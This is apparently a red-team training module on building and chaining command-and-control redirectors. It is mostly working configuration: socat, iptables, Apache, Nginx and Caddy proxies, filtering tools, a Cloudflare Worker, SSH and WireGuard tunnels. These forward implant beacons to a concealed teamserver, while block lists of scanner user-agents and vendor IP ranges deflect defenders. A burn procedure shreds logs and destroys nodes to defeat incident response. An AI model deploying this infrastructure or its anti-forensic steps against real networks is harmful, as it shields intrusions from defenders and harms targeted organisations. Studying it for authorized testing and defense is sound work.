7.2_C2_infra
Supplemental Module 7.2: C2 Redirector Infrastructure
BLUF: A C2 server that can be directly reached and fingerprinted by a blue team is already dead. Redirectors are the buffer layer that absorbs attribution, deflects scanner traffic, and lets you burn a node without losing the operation. This module teaches you to build, harden, and chain redirectors across every relevant technology stack — from a single
socatone-liner to a multi-hop cloud-native pipeline with geo-filtering and JA3 inspection.
OW64 — Supplemental 7.2: C2 Redirector Infrastructure Action Items
- Redirector Fundamentals & Architecture · 2. Dumb Pipe Redirectors (socat / iptables / rinetd) · 3. Apache mod_rewrite Redirectors · 4. Nginx Reverse-Proxy Redirectors · 5. Caddy Redirectors · 6. Intelligent Filtering Redirectors (RedWarden / RedGuard / BounceBack) · 7. CDN & Cloud-Native Redirectors · 8. Multi-Hop & Chained Infrastructure · 9. Redirector OPSEC & Burn Procedures · Capstone: Full Multi-Hop Redirector Pipeline
Authorized use only. All techniques in this module are for professional red team engagements with written scope authorization. Unauthorized deployment of C2 infrastructure is a criminal offense in virtually every jurisdiction.
graph TB
Implant([Implant / Beacon]) --> DR[Dumb Redirector\nsocat / iptables]
Implant --> SR[Smart Redirector\nApache / Nginx / Caddy]
DR --> Filter[Filtering Layer\nRedWarden / RedGuard]
SR --> Filter
Filter --> CDN[CDN Layer\nCloudflare / CloudFront]
CDN --> CS[C2 Teamserver\nSliver / CS / Mythic]
Filter --> CS
SR --> CS
style Implant fill:#ff6600
style CS fill:#00aa00
style Filter fill:#cc0000,color:#ffffffMITRE ATT&CK Mapping
| Technique ID | Name | Tactic | Module Relevance |
|---|---|---|---|
| T1090 | Proxy | Command and Control | All redirector types — dumb pipe to intelligent filter |
| T1090.001 | Internal Proxy | Command and Control | Chained internal hops between redirectors |
| T1090.002 | External Proxy | Command and Control | Internet-facing redirector nodes |
| T1090.004 | Domain Fronting | Command and Control | CDN/cloud-native fronting techniques |
| T1583.002 | DNS Server | Resource Development | DNS-based redirector chains |
| T1583.004 | Server | Resource Development | VPS-based redirector deployment |
| T1584 | Compromise Infrastructure | Resource Development | Hijacked hosts as redirectors |
| T1568 | Dynamic Resolution | Command and Control | Fast-flux DNS for redirector resilience |
| T1008 | Fallback Channels | Command and Control | Multi-hop chains with failover |
Action Item 1 — Redirector Fundamentals & Architecture [Beginner]
What you're building: The mental model of what a redirector IS, the four threat models it addresses, and the three architecture patterns used in professional engagements. You cannot design a redirector chain without understanding why each layer exists.
A C2 redirector is a node that sits between your implant and your teamserver, proxying traffic so that the implant only ever communicates with a sacrificial IP — not your actual C2. When the SOC burns the redirector, your teamserver survives.
Tactic: Command and Control / Resource Development
Four Threats a Redirector Addresses
| Threat | Without Redirector | With Redirector |
|---|---|---|
| IP Attribution | Teamserver IP exposed in beacon traffic | Only redirector IP is seen by target |
| Scanner/Sandbox Probing | Direct access to C2 listeners by sandboxes | Filtering layer drops unknown user-agents/IPs |
| Incident Response Pivoting | IR team hits teamserver directly | IR hits sacrificial redirector; teamserver stays dark |
| Certificate Attribution | Teamserver cert fingerprinted | Redirector holds public cert; teamserver is backend-only |
Three Architecture Patterns
Pattern A — Simple Passthrough (dumb pipe)
Implant → [Redirector: port forward] → Teamserver
Lowest complexity. No filtering. Useful for quick labs. Burns easily because anything that reaches the redirector gets forwarded.
Pattern B — Application-Layer Proxy (smart redirect)
Implant → [Redirector: HTTP/S reverse proxy with rules] → Teamserver
Apache/Nginx/Caddy inspect requests and apply whitelist/block rules. Unknown traffic is dropped or redirected to a decoy site. Standard professional baseline.
Pattern C — Multi-Hop Chained Infrastructure
Implant → [Edge Redirector] → [Filtering Proxy] → [CDN / Domain Front] → Teamserver
Multiple hops with different providers. Attribution requires pivoting through 3+ jurisdictions. Used in long-haul engagements.
Redirector Node Requirements
| Property | Recommendation |
|---|---|
| Provider | Separate from teamserver — different ASN, different country |
| Lifetime | Treat as consumable — deploy fast, burn without regret |
| Firewall | Only accept inbound on C2 port; backend connection to teamserver only |
| Logging | Capture access logs off-box before burning |
| Certificates | Let's Encrypt via ACME; never reuse teamserver cert |
OPSEC: Never co-locate your redirector and teamserver on the same VPS provider or /24 subnet. If one IP is burned, the entire adjacent range may be blocklisted by threat intel feeds.
Action Item 2 — Dumb Pipe Redirectors [Beginner]
What you're building: The simplest possible redirector — a single-process port forwarder with zero application awareness. This is your fallback when you need a node up in 60 seconds.
Dumb pipe redirectors operate at Layer 4 (TCP/UDP). They forward all traffic blindly — no HTTP inspection, no filtering. They're fast to deploy and easy to automate, but offer no protection against scanner traffic reaching your teamserver.
Tactic: Command and Control → T1090.002
socat (One-Liner Port Forwarder)
# Install
sudo apt install socat -y
# TCP port forward — forward all traffic on :443 to teamserver:443
sudo socat TCP4-LISTEN:443,fork TCP4:<TEAMSERVER_IP>:443
# With UDP (for DNS C2)
sudo socat UDP4-LISTEN:53,fork UDP4:<TEAMSERVER_IP>:53
# Run as a systemd service for persistence
cat << 'EOF' | sudo tee /etc/systemd/system/socat-redirect.service
[Unit]
Description=socat C2 redirector
After=network.target
[Service]
ExecStart=/usr/bin/socat TCP4-LISTEN:443,fork TCP4:<TEAMSERVER_IP>:443
Restart=always
RestartSec=5
[Install]
WantedBy=multi-user.target
EOF
sudo systemctl daemon-reload
sudo systemctl enable --now socat-redirect
iptables (Kernel-Level Port Forwarding)
# Enable IP forwarding
echo 'net.ipv4.ip_forward=1' | sudo tee -a /etc/sysctl.conf
sudo sysctl -p
# Redirect inbound :443 to teamserver (PREROUTING)
sudo iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT \
--to-destination <TEAMSERVER_IP>:443
# Masquerade outbound (POSTROUTING)
sudo iptables -t nat -A POSTROUTING -j MASQUERADE
# Allow forwarded traffic
sudo iptables -A FORWARD -p tcp --dport 443 -j ACCEPT
# Persist rules
sudo apt install iptables-persistent -y
sudo netfilter-persistent save
# Also forward DNS (UDP 53)
sudo iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT \
--to-destination <TEAMSERVER_IP>:53
# View active NAT rules
sudo iptables -t nat -L -n -v
Why iptables over socat: Kernel-level forwarding is faster and has no per-connection process overhead. Preferred for high-volume beaconing. Downside: no TLS termination, no request inspection.
rinetd (Config-File Based Forwarder)
sudo apt install rinetd -y
# /etc/rinetd.conf — format: bindaddr bindport connectaddr connectport
# Forward all IPs on port 80 → teamserver:80
cat << 'EOF' | sudo tee /etc/rinetd.conf
0.0.0.0 80 <TEAMSERVER_IP> 80
0.0.0.0 443 <TEAMSERVER_IP> 443
0.0.0.0 53 <TEAMSERVER_IP> 53
EOF
sudo systemctl restart rinetd
Comparison: Dumb Pipe Options
| Tool | Layer | TLS Aware | Filtering | Deploy Time | Best For |
|---|---|---|---|---|---|
| socat | L4 TCP/UDP | No | None | 30 seconds | Quick lab pivots |
| iptables | L4 Kernel | No | None | 2 minutes | High-volume, low-latency |
| rinetd | L4 TCP | No | None | 2 minutes | Multi-port config file |
| SSH -L/-R | L4 Tunnel | Yes (SSH) | None | 10 seconds | Authenticated pivot channels |
OPSEC: Always firewall your redirector. Accept inbound only on C2 ports. Only allow outbound to your teamserver IP. Drop everything else. Without this, your "redirector" is just an open relay.
# Redirector firewall baseline (ufw)
sudo ufw default deny incoming
sudo ufw default deny outgoing
sudo ufw allow in 22/tcp # SSH management
sudo ufw allow in 80/tcp # HTTP C2
sudo ufw allow in 443/tcp # HTTPS C2
sudo ufw allow out to <TEAMSERVER_IP> port 443
sudo ufw allow out to <TEAMSERVER_IP> port 80
sudo ufw allow out 53 # DNS resolution
sudo ufw enable
Action Item 3 — Apache mod_rewrite Redirectors [Intermediate]
What you're building: A full application-layer HTTP/S redirector using Apache mod_rewrite. Legitimate C2 traffic is proxied to the teamserver; everything else is redirected to a legitimate-looking decoy site. This is the most widely documented redirector pattern and still highly effective.
Apache mod_rewrite operates at Layer 7, inspecting HTTP requests and routing them based on rules you define — URI patterns, User-Agent strings, IP addresses, and more.
Tactic: Command and Control → T1090 + T1001.003 (Protocol Impersonation)
Installation & Module Setup
sudo apt install apache2 -y
sudo a2enmod rewrite proxy proxy_http ssl headers
sudo systemctl restart apache2
Basic mod_rewrite Redirector Config
# /etc/apache2/sites-available/c2-redirector.conf
<VirtualHost *:80>
ServerName yourdomain.com
# Redirect all HTTP to HTTPS
RewriteEngine On
RewriteRule ^(.*)$ https://%{HTTP_HOST}$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName yourdomain.com
SSLEngine on
SSLCertificateFile /etc/letsencrypt/live/yourdomain.com/fullchain.pem
SSLCertificateKeyFile /etc/letsencrypt/live/yourdomain.com/privkey.pem
RewriteEngine On
RewriteOptions Inherit
# Log all requests (rotate off-box regularly)
CustomLog /var/log/apache2/c2_access.log combined
ErrorLog /var/log/apache2/c2_error.log
# --- BLOCK RULE 1: Known sandbox/scanner User-Agents ---
RewriteCond %{HTTP_USER_AGENT} "(curl|wget|python|nikto|nmap|masscan|zgrab|shodan)" [NC]
RewriteRule ^.*$ https://www.microsoft.com/? [L,R=302]
# --- BLOCK RULE 2: Block known security vendor IP ranges ---
RewriteCond %{REMOTE_ADDR} "^(66\.35\.|72\.14\.|74\.125\.)" [NC]
RewriteRule ^.*$ https://www.google.com/? [L,R=302]
# --- ALLOW RULE: Match C2 beacon URI pattern ---
# Change /updates/ to match your malleable C2 profile's URI
RewriteCond %{REQUEST_URI} ^/updates/.*$
RewriteRule ^(.*)$ http://<TEAMSERVER_IP>:80$1 [P,L]
# --- ALLOW RULE: Match specific User-Agent from profile ---
RewriteCond %{HTTP_USER_AGENT} "Mozilla/5.0 \(compatible; MSIE 9.0"
RewriteRule ^(.*)$ http://<TEAMSERVER_IP>:80$1 [P,L]
# --- DEFAULT: All other traffic → decoy site ---
RewriteRule ^.*$ https://www.microsoft.com/? [L,R=302]
# Pass real client IP to teamserver
RequestHeader set X-Forwarded-For %{REMOTE_ADDR}s
</VirtualHost>
# Enable and certbot
sudo a2ensite c2-redirector
sudo certbot --apache -d yourdomain.com
sudo systemctl reload apache2
URI-Only Redirector (Malleable Profile Aligned)
# Match URI paths from your Cobalt Strike/Sliver malleable profile exactly
RewriteEngine On
# Example: Cobalt Strike jquery-c2.profile URIs
RewriteCond %{REQUEST_URI} ^/jquery-3\.3\.1\.min\.js$
RewriteRule ^.*$ http://<TEAMSERVER_IP>:80%{REQUEST_URI} [P,L]
RewriteCond %{REQUEST_URI} ^/____cfduid$
RewriteRule ^.*$ http://<TEAMSERVER_IP>:80%{REQUEST_URI} [P,L]
# Fallback: anything else → 404 or decoy
RewriteRule ^.*$ https://jquery.com/? [L,R=302]
IP Allowlist Redirector (Engagement-Scoped)
# Only accept traffic from known implant egress IPs (useful for internal engagements)
RewriteEngine On
# Allowlisted IPs get proxied
RewriteCond %{REMOTE_ADDR} "^(10\.10\.10\.|192\.168\.50\.)" [NC]
RewriteRule ^(.*)$ http://<TEAMSERVER_IP>:80$1 [P,L]
# Everyone else → decoy
RewriteRule ^.*$ https://www.cloudflare.com/? [L,R=302]
Note: The
[P]flag requiresmod_proxyandmod_proxy_http. The[L]flag stops rule processing. The[R=302]flag issues a redirect — never use[R]when proxying, only when deflecting.
Action Item 4 — Nginx Reverse-Proxy Redirectors [Intermediate]
What you're building: An Nginx-based C2 redirector using location blocks, map directives, and upstream proxying. Nginx handles higher concurrent connections than Apache and is often preferred for high-volume implant deployments.
Tactic: Command and Control → T1090.002
Nginx Installation
sudo apt install nginx -y
sudo systemctl enable --now nginx
# Certbot for Nginx
sudo apt install certbot python3-certbot-nginx -y
sudo certbot --nginx -d yourdomain.com
Full Nginx C2 Redirector Config
# /etc/nginx/sites-available/c2-redirector
# Map User-Agent to proxy decision
map $http_user_agent $allowed_ua {
default 0;
# Allow your beacon's User-Agent (match your C2 profile)
"~*Mozilla/5.0 \(Windows NT 10.0; Win64; x64\) AppleWebKit" 1;
}
# Map URI to proxy decision
map $request_uri $allowed_uri {
default 0;
"~/updates/.*" 1;
"~/api/v1/.*" 1;
}
upstream teamserver {
server <TEAMSERVER_IP>:443;
keepalive 32;
}
server {
listen 80;
server_name yourdomain.com;
return 301 https://$host$request_uri;
}
server {
listen 443 ssl http2;
server_name yourdomain.com;
ssl_certificate /etc/letsencrypt/live/yourdomain.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/yourdomain.com/privkey.pem;
# Modern TLS only
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384;
ssl_prefer_server_ciphers on;
# Logging
access_log /var/log/nginx/c2_access.log;
error_log /var/log/nginx/c2_error.log;
# --- Block known scanner User-Agents ---
if ($http_user_agent ~* "(curl|wget|python|nikto|nmap|zgrab|masscan)") {
return 302 https://www.google.com/;
}
# --- Route by URI match ---
location ~ ^/updates/ {
proxy_pass https://teamserver;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
proxy_set_header X-Real-IP $remote_addr;
}
location ~ ^/api/v1/ {
proxy_pass https://teamserver;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
}
# --- Default: deflect everything else ---
location / {
return 302 https://www.microsoft.com/;
}
}
Nginx GeoIP Filtering (Block by Country)
# Install GeoIP module
sudo apt install libnginx-mod-http-geoip2 -y
# Download MaxMind GeoLite2 DB (requires free license key)
# https://www.maxmind.com/en/geolite2/signup
# /etc/nginx/nginx.conf — add in http block:
geoip2 /usr/share/GeoIP/GeoLite2-Country.mmdb {
$geoip2_data_country_code country iso_code;
}
map $geoip2_data_country_code $allowed_country {
default 0;
US 1; # Allow United States
CA 1; # Allow Canada
GB 1; # Allow United Kingdom
}
# In your server block:
server {
...
if ($allowed_country = 0) {
return 302 https://www.google.com/;
}
...
}
Nginx Stream Proxy (Layer 4 TCP — no TLS inspection)
# /etc/nginx/nginx.conf — add in stream block (outside http block)
stream {
upstream c2_backend {
server <TEAMSERVER_IP>:443;
}
server {
listen 443;
proxy_pass c2_backend;
proxy_timeout 600s;
proxy_connect_timeout 10s;
}
}
Why stream mode: When your beacon uses certificate pinning or mTLS, you cannot decrypt traffic at the redirector layer. Stream proxy passes the raw TLS tunnel through without inspection — effectively a Layer 4 dumb pipe but with Nginx's reliability and keepalive management.
Action Item 5 — Caddy Redirectors [Intermediate]
What you're building: A Caddy-based redirector leveraging automatic HTTPS via ACME, clean Caddyfile syntax, and optional integration with RedCaddy for malleable-profile-aware routing. Caddy's automatic certificate management makes it the fastest to deploy with valid TLS.
Caddy automatically obtains and renews Let's Encrypt certificates via ACME — no certbot required. Its reverse_proxy directive handles both HTTP and HTTPS backends.
Tactic: Command and Control → T1090
Installation
sudo apt install -y debian-keyring debian-archive-keyring apt-transport-https
curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/gpg.key' \
| sudo gpg --dearmor -o /usr/share/keyrings/caddy-stable-archive-keyring.gpg
curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/debian.deb.txt' \
| sudo tee /etc/apt/sources.list.d/caddy-stable.list
sudo apt update && sudo apt install caddy -y
Caddyfile — Basic C2 Redirector
# /etc/caddy/Caddyfile
yourdomain.com {
# Automatic HTTPS — Caddy handles cert issuance/renewal
tls your@email.com
# Access log
log {
output file /var/log/caddy/c2_access.log
format json
}
# --- Block known scanners by User-Agent ---
@scanners {
header User-Agent *curl*
header User-Agent *python*
header User-Agent *wget*
header User-Agent *nikto*
header User-Agent *nmap*
}
redir @scanners https://www.google.com 302
# --- Allow beacon traffic by URI ---
@c2traffic {
path /updates/*
path /api/v1/*
}
reverse_proxy @c2traffic <TEAMSERVER_IP>:443 {
transport http {
tls_insecure_skip_verify
}
header_up X-Forwarded-For {remote_host}
header_up Host {host}
}
# --- Default: redirect to decoy ---
redir * https://www.microsoft.com 302
}
Caddyfile — Multi-Backend Round-Robin
yourdomain.com {
tls your@email.com
@c2traffic path /updates/* /api/*
reverse_proxy @c2traffic {
to <TEAMSERVER_IP_1>:443 <TEAMSERVER_IP_2>:443
lb_policy round_robin
transport http {
tls_insecure_skip_verify
}
}
redir * https://cloudflare.com 302
}
Caddyfile — Geo/IP Filtering with Caddy Modules
# Build Caddy with geoip and maxmind modules
sudo caddy add-package github.com/porech/caddy-maxmind-geolocation
{
order maxmind_geolocation before reverse_proxy
}
yourdomain.com {
tls your@email.com
maxmind_geolocation {
db_path /usr/share/GeoIP/GeoLite2-Country.mmdb
allow_countries US CA GB AU
}
@c2traffic path /updates/* /api/v1/*
reverse_proxy @c2traffic <TEAMSERVER_IP>:443 {
transport http { tls_insecure_skip_verify }
}
redir * https://www.microsoft.com 302
}
Why Caddy: Automatic HTTPS is the killer feature — spin up a new redirector domain and have valid TLS in under 90 seconds. The Caddyfile syntax is also significantly less verbose than Apache/Nginx configs, reducing configuration errors.
Action Item 6 — Intelligent Filtering Redirectors [Advanced]
What you're building: Application-layer redirectors that actively parse Malleable C2 profiles, inspect JA3 fingerprints, apply geo-IP filtering, and make per-request routing decisions. These tools are purpose-built for C2 infrastructure and go far beyond what generic reverse proxies offer.
Tactic: Command and Control → T1090 + T1001.003
RedWarden — Malleable Profile Validator
RedWarden is a Python-based HTTP/HTTPS reverse proxy that validates every inbound request against a Cobalt Strike Malleable C2 profile specification. Requests that don't conform to the profile — wrong URI, wrong User-Agent, wrong header set — are dropped or redirected.
# Clone and install
git clone https://github.com/mgeeky/RedWarden
cd RedWarden
pip3 install -r requirements.txt
# Config file (config.yaml)
cat << 'EOF' > config.yaml
port: 80
port_https: 443
ssl_cacert: /etc/letsencrypt/live/yourdomain.com/fullchain.pem
ssl_cakey: /etc/letsencrypt/live/yourdomain.com/privkey.pem
teamserver_url:
- https://<TEAMSERVER_IP>
profile: /opt/profiles/jquery-c2.profile
drop_action: redirect
redirect_url: https://www.microsoft.com/
log_file: /var/log/redwarden.log
verbose: false
policy:
allow_proxy_pass: true
drop_invalid_useragent: true
drop_http_banned_header_names: true
drop_http_banned_header_value: true
drop_dangerous_ip: true
EOF
# Run
sudo python3 RedWarden.py -c config.yaml
RedWarden Drop Logic:
| Violation | Action |
|---|---|
| User-Agent not in profile | Redirect to decoy |
| URI not matching profile | Redirect to decoy |
| Missing required headers | Redirect to decoy |
| Known security vendor IP | TCP reset |
| JA3 fingerprint blocklist | TCP reset |
| Malformed HTTP | Redirect to decoy |
RedGuard — C2 Front Flow Control (Go)
RedGuard is a Go-based reverse proxy with geographic filtering, JA3-based sandbox detection, temporal access controls, and hot-reloadable config. It works with any C2 framework (not just Cobalt Strike).
# Install Go and build
sudo apt install golang -y
git clone https://github.com/wikiZ/RedGuard
cd RedGuard
go build -o RedGuard .
# Config file is auto-generated on first run
sudo ./RedGuard
# Edit .RedGuard_CobaltStrike.ini
cat << 'EOF' > .RedGuard_CobaltStrike.ini
[RedGuard Config]
# Listener ports
Port_HTTPS = :443
Port_HTTP = :80
# What to do with blocked requests:
# redirect | drop | proxy
drop_action = proxy
Redirect = https://www.microsoft.com
# Access control (* = allow all)
AllowIP = *
AllowLocation = US,CA,GB,AU
AllowTime = 06:00 - 22:00
# SSL certificate (false = auto-generate self-signed)
HasCert = false
# Cobalt Strike teamserver
EOF
sudo ./RedGuard
RedGuard Key Features:
| Feature | Detail |
|---|---|
| JA3 Fingerprinting | Detects Burp Suite, curl, Python requests, cloud sandbox agents by TLS fingerprint |
| Geo-IP Filtering | Restrict C2 to specific countries via IP lookup API |
| Time-Based Access | Beacon callbacks only during defined working hours |
| Proxy Mode | Blocked requests receive a mirrored legitimate web response |
| Malleable Validation | Validates Cobalt Strike malleable profile conformance |
| Hot Reload | Edit config file — changes apply without restart |
BounceBack — Stealth Redirector with Time-Based Filtering
BounceBack (Go-based) adds stealth features: time-window enforcement, multi-proxy chaining, verbose per-request logging, and a plugin system for custom filtering logic.
git clone https://github.com/DissonanceTK/BounceBack
cd BounceBack
go build -o bounceback .
# config.yml
cat << 'EOF' > config.yml
listeners:
- address: "0.0.0.0:443"
tls: true
cert: /etc/letsencrypt/live/yourdomain.com/fullchain.pem
key: /etc/letsencrypt/live/yourdomain.com/privkey.pem
backend:
url: "https://<TEAMSERVER_IP>:443"
tls_skip_verify: true
filters:
time:
enabled: true
allow_start: "06:00"
allow_end: "22:00"
timezone: "America/New_York"
useragent:
block:
- "curl"
- "python"
- "Go-http-client"
ip:
allowlist: [] # empty = allow all
blocklist:
- "66.35.0.0/16" # known scanner range
logging:
verbose: true
file: /var/log/bounceback.log
EOF
sudo ./bounceback -config config.yml
Action Item 7 — CDN & Cloud-Native Redirectors [Advanced]
What you're building: Redirector infrastructure that runs entirely inside major cloud providers — Cloudflare Workers, AWS CloudFront, Azure CDN — adding a layer of legitimacy (the IP belongs to Amazon/Cloudflare, not you) and making takedown significantly harder.
Tactic: Command and Control → T1090.004 (Domain Fronting) + T1102 (Web Services)
Cloudflare Workers as C2 Redirector
// Cloudflare Worker — deploy via Wrangler or the CF dashboard
// Routes beacon traffic from CF edge → your backend redirector
export default {
async fetch(request, env) {
const url = new URL(request.url);
const userAgent = request.headers.get('User-Agent') || '';
// Block scanners
const blocked = ['curl', 'python', 'wget', 'nikto', 'nmap'];
if (blocked.some(b => userAgent.toLowerCase().includes(b))) {
return Response.redirect('https://www.microsoft.com', 302);
}
// Only proxy known C2 URI paths
const allowedPaths = ['/updates/', '/api/v1/', '/jquery-3.3.1.min.js'];
const isAllowed = allowedPaths.some(p => url.pathname.startsWith(p));
if (!isAllowed) {
return Response.redirect('https://www.microsoft.com', 302);
}
// Proxy to backend
const backendURL = 'https://<YOUR_REDIRECTOR_VPS>' + url.pathname + url.search;
const newRequest = new Request(backendURL, {
method: request.method,
headers: request.headers,
body: request.body,
});
return fetch(newRequest);
}
};
# Deploy with Wrangler CLI
npm install -g wrangler
wrangler login
wrangler deploy
# wrangler.toml
name = "c2-redirector"
main = "worker.js"
compatibility_date = "2024-01-01"
[[routes]]
pattern = "yourdomain.com/*"
zone_name = "yourdomain.com"
AWS CloudFront as Redirector
# 1. Create an origin pointing to your redirector/teamserver backend
aws cloudfront create-distribution \
--origin-domain-name <YOUR_VPS_OR_REDIRECTOR_HOSTNAME> \
--default-root-object index.html
# Key CloudFront settings for C2 use:
# - Origin Protocol Policy: HTTPS Only
# - Viewer Protocol Policy: Redirect HTTP to HTTPS
# - Cache Policy: CachingDisabled (Managed-CachingDisabled)
# ID: 4135ea2d-6df8-44a3-9df3-4b5a84be39ad
# - Origin Request Policy: AllViewer
# - Allowed HTTP Methods: GET, HEAD, OPTIONS, PUT, POST, PATCH, DELETE
# - Query String Forwarding: All
# Using AWS CLI to set cache and request policy:
aws cloudfront create-distribution --generate-cli-skeleton > dist.json
# Edit dist.json: set CachePolicyId to CachingDisabled, AllowedMethods to ALL
aws cloudfront create-distribution --cli-input-json file://dist.json
CloudFront OPSEC Notes:
| Setting | C2-Optimal Value |
|---|---|
| Cache | Disabled — cached responses break beacon sessions |
| HTTP Methods | All — POST required for beacon data exfil |
| Query Strings | Forward all — many profiles use query params |
| Host Header | Forward — teamserver needs Host header |
| Logging | Disabled (or log to separate S3 for OPSEC) |
Oracle Cloud (OCI) Free Tier Redirector Setup
Oracle Cloud's free tier provides 2 AMD VMs with public IPs at no cost — ideal for sacrificial redirector nodes.
# After provisioning OCI instance (Ubuntu 22.04):
# 1. Open ports in OCI Security List (NOT just OS firewall)
# OCI Console → VCN → Security Lists → Add Ingress Rules:
# TCP 80, TCP 443, TCP 8080 (from 0.0.0.0/0)
# 2. OS-level firewall
sudo iptables -F # flush defaults on OCI Ubuntu
sudo ufw allow 22/tcp
sudo ufw allow 80/tcp
sudo ufw allow 443/tcp
sudo ufw enable
# 3. Deploy Nginx or Caddy redirector (Actions 4 or 5)
# 4. Lock outbound to teamserver only
sudo ufw allow out to <TEAMSERVER_IP> port 443
sudo ufw allow out 53 # DNS
sudo ufw default deny outgoing
sudo ufw reload
DigitalOcean Droplet + Floating IP for Redirector Rotation
# Create droplet via doctl CLI
doctl compute droplet create \
--image ubuntu-22-04-x64 \
--size s-1vcpu-1gb \
--region nyc3 \
--ssh-keys <KEY_ID> \
redirector-01
# Assign a Floating IP (survives droplet deletion)
doctl compute floating-ip create --region nyc3
doctl compute floating-ip-action assign <FLOATING_IP> <DROPLET_ID>
# When burned: destroy old droplet, create new one, reassign the same Floating IP
# Your DNS record (pointed to Floating IP) stays stable
doctl compute droplet delete redirector-01
doctl compute droplet create --image ubuntu-22-04-x64 ... redirector-02
doctl compute floating-ip-action assign <FLOATING_IP> <NEW_DROPLET_ID>
Pattern: DNS → Floating IP → Redirector Droplet → Teamserver. When the redirector is burned, reassign the Floating IP to a fresh droplet. Your DNS TTL is the only delay.
Action Item 8 — Multi-Hop & Chained Infrastructure [Advanced]
What you're building: A layered redirector chain where each hop strips attribution, applies different filtering logic, and is hosted on a different provider. Attribution requires pivoting through 3+ jurisdictions.
Architecture: Full 3-Hop Chain
Implant
│
▼ (HTTPS to CDN domain)
Cloudflare Worker ← Hop 1 (US: Cloudflare IP space)
│
▼ (HTTPS to edge redirector)
Nginx Redirector ← Hop 2 (EU: Oracle Cloud OCI)
│
▼ (HTTPS internal)
RedWarden Filter ← Hop 3 (US: AWS EC2 — private subnet)
│
▼ (loopback / VPN)
Teamserver ← Never directly internet-accessible
SSH Reverse Tunnel as a Redirector Channel
# On teamserver: create a reverse tunnel — expose teamserver port 443
# via a public VPS (the "relay") on the same port
# On the public VPS (relay), edit /etc/ssh/sshd_config:
# GatewayPorts yes
# On the teamserver, establish reverse tunnel:
ssh -f -N -R 0.0.0.0:443:localhost:443 user@<RELAY_VPS_IP>
# Now: Implant → RELAY_VPS_IP:443 → (SSH tunnel) → Teamserver:443
# Teamserver never accepts a direct inbound connection from the internet
# Autossh for persistence
sudo apt install autossh -y
autossh -M 0 -f -N -R 0.0.0.0:443:localhost:443 user@<RELAY_VPS_IP> \
-o ServerAliveInterval=30 -o ServerAliveCountMax=3
# As a systemd service on the teamserver
cat << 'EOF' | sudo tee /etc/systemd/system/c2-tunnel.service
[Unit]
Description=C2 Reverse SSH Tunnel
After=network.target
[Service]
ExecStart=/usr/bin/autossh -M 0 -N \
-R 0.0.0.0:443:localhost:443 \
user@<RELAY_VPS_IP> \
-o ServerAliveInterval=30 \
-o ServerAliveCountMax=3 \
-o StrictHostKeyChecking=no
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.target
EOF
sudo systemctl enable --now c2-tunnel
WireGuard Tunnel as Redirector Backend
# Redirector node: WireGuard peer that tunnels to teamserver
sudo apt install wireguard -y
# /etc/wireguard/wg0.conf on REDIRECTOR:
cat << 'EOF' | sudo tee /etc/wireguard/wg0.conf
[Interface]
PrivateKey = <REDIRECTOR_PRIVATE_KEY>
Address = 10.99.0.2/24
ListenPort = 51820
[Peer]
PublicKey = <TEAMSERVER_PUBLIC_KEY>
AllowedIPs = 10.99.0.1/32
Endpoint = <TEAMSERVER_IP>:51820
PersistentKeepalive = 25
EOF
sudo wg-quick up wg0
# Now set teamserver IP in Nginx/Caddy/socat config to 10.99.0.1
# All C2 traffic flows over encrypted WireGuard tunnel
Action Item 9 — Redirector OPSEC & Burn Procedures [Advanced]
What you're building: The discipline to run, rotate, and burn redirector infrastructure cleanly — without leaking teamserver attribution, access logs, or SSL certificates to incident responders.
Tactic: Defense Evasion / Resource Development
OPSEC Checklist: Before Deployment
| Check | Detail |
|---|---|
| ☐ Separate provider from teamserver | Different ASN, different country preferred |
| ☐ Domain registered via privacy proxy | Whois shows registrar, not your name |
| ☐ Domain aged ≥ 30 days | New domains are auto-categorized as suspicious |
| ☐ Domain categorized as benign | Check via Bluecoat, Cisco Talos, Symantec category tools |
| ☐ TLS cert issued separately from teamserver | Reusing a cert links the two nodes |
| ☐ Firewall restricts outbound to teamserver only | Prevents open relay abuse |
| ☐ SSH access via keypair only | No password auth |
| ☐ Logs shipping off-box | Logs survive node burn |
| ☐ No shared SSH keys with teamserver | Key reuse links infrastructure |
OPSEC Checklist: During Operation
| Check | Detail |
|---|---|
| ☐ Rotate redirectors every 2–4 weeks | Reduces heat from passive threat intel |
| ☐ Monitor redirector access logs for scanner hits | SOC probing is an early burn signal |
| ☐ Beacon sleep ≥ 60s with 30% jitter | Reduces beacon session frequency at redirector |
| ☐ No direct teamserver access from operator laptop | Always operator → redirector → teamserver |
| ☐ Redirector logs rotate and ship daily | Don't let logs fill disk or get seized |
Redirector Burn Procedure
# 1. Immediately cut traffic routing at the redirector
# (Nginx: remove site config and reload)
sudo rm /etc/nginx/sites-enabled/c2-redirector
sudo nginx -s reload
# 2. Pull logs off the node before destruction
rsync -avz user@<REDIRECTOR_IP>:/var/log/nginx/ /local/loot/redirector_logs/
rsync -avz user@<REDIRECTOR_IP>:/var/log/apache2/ /local/loot/redirector_logs/
# 3. Wipe logs on the node
sudo shred -uz /var/log/nginx/*.log
sudo shred -uz /var/log/apache2/*.log
# 4. Revoke Let's Encrypt certificate (prevents cert tracking)
sudo certbot revoke --cert-path /etc/letsencrypt/live/yourdomain.com/cert.pem
# 5. Destroy the node
# DigitalOcean:
doctl compute droplet delete <DROPLET_ID>
# AWS:
aws ec2 terminate-instances --instance-ids <INSTANCE_ID>
# OCI:
oci compute instance terminate --instance-id <OCID>
# 6. Update DNS — point domain to new redirector or park it
# If using Floating IP (DO) or Elastic IP (AWS): reassign to new node
# 7. Rotate teamserver-side listener
# (Change listener port / generate new implants with new redirector domain)
Domain Aging & Categorization
# Check domain categorization before use in engagement
# Bluecoat / Symantec Web Pulse
# https://sitereview.bluecoat.com/
# Cisco Talos
# https://talosintelligence.com/reputation
# Sucuri SiteCheck
curl "https://sitecheck.sucuri.net/results/yourdomain.com"
# DNS history check (Whois / PassiveDNS)
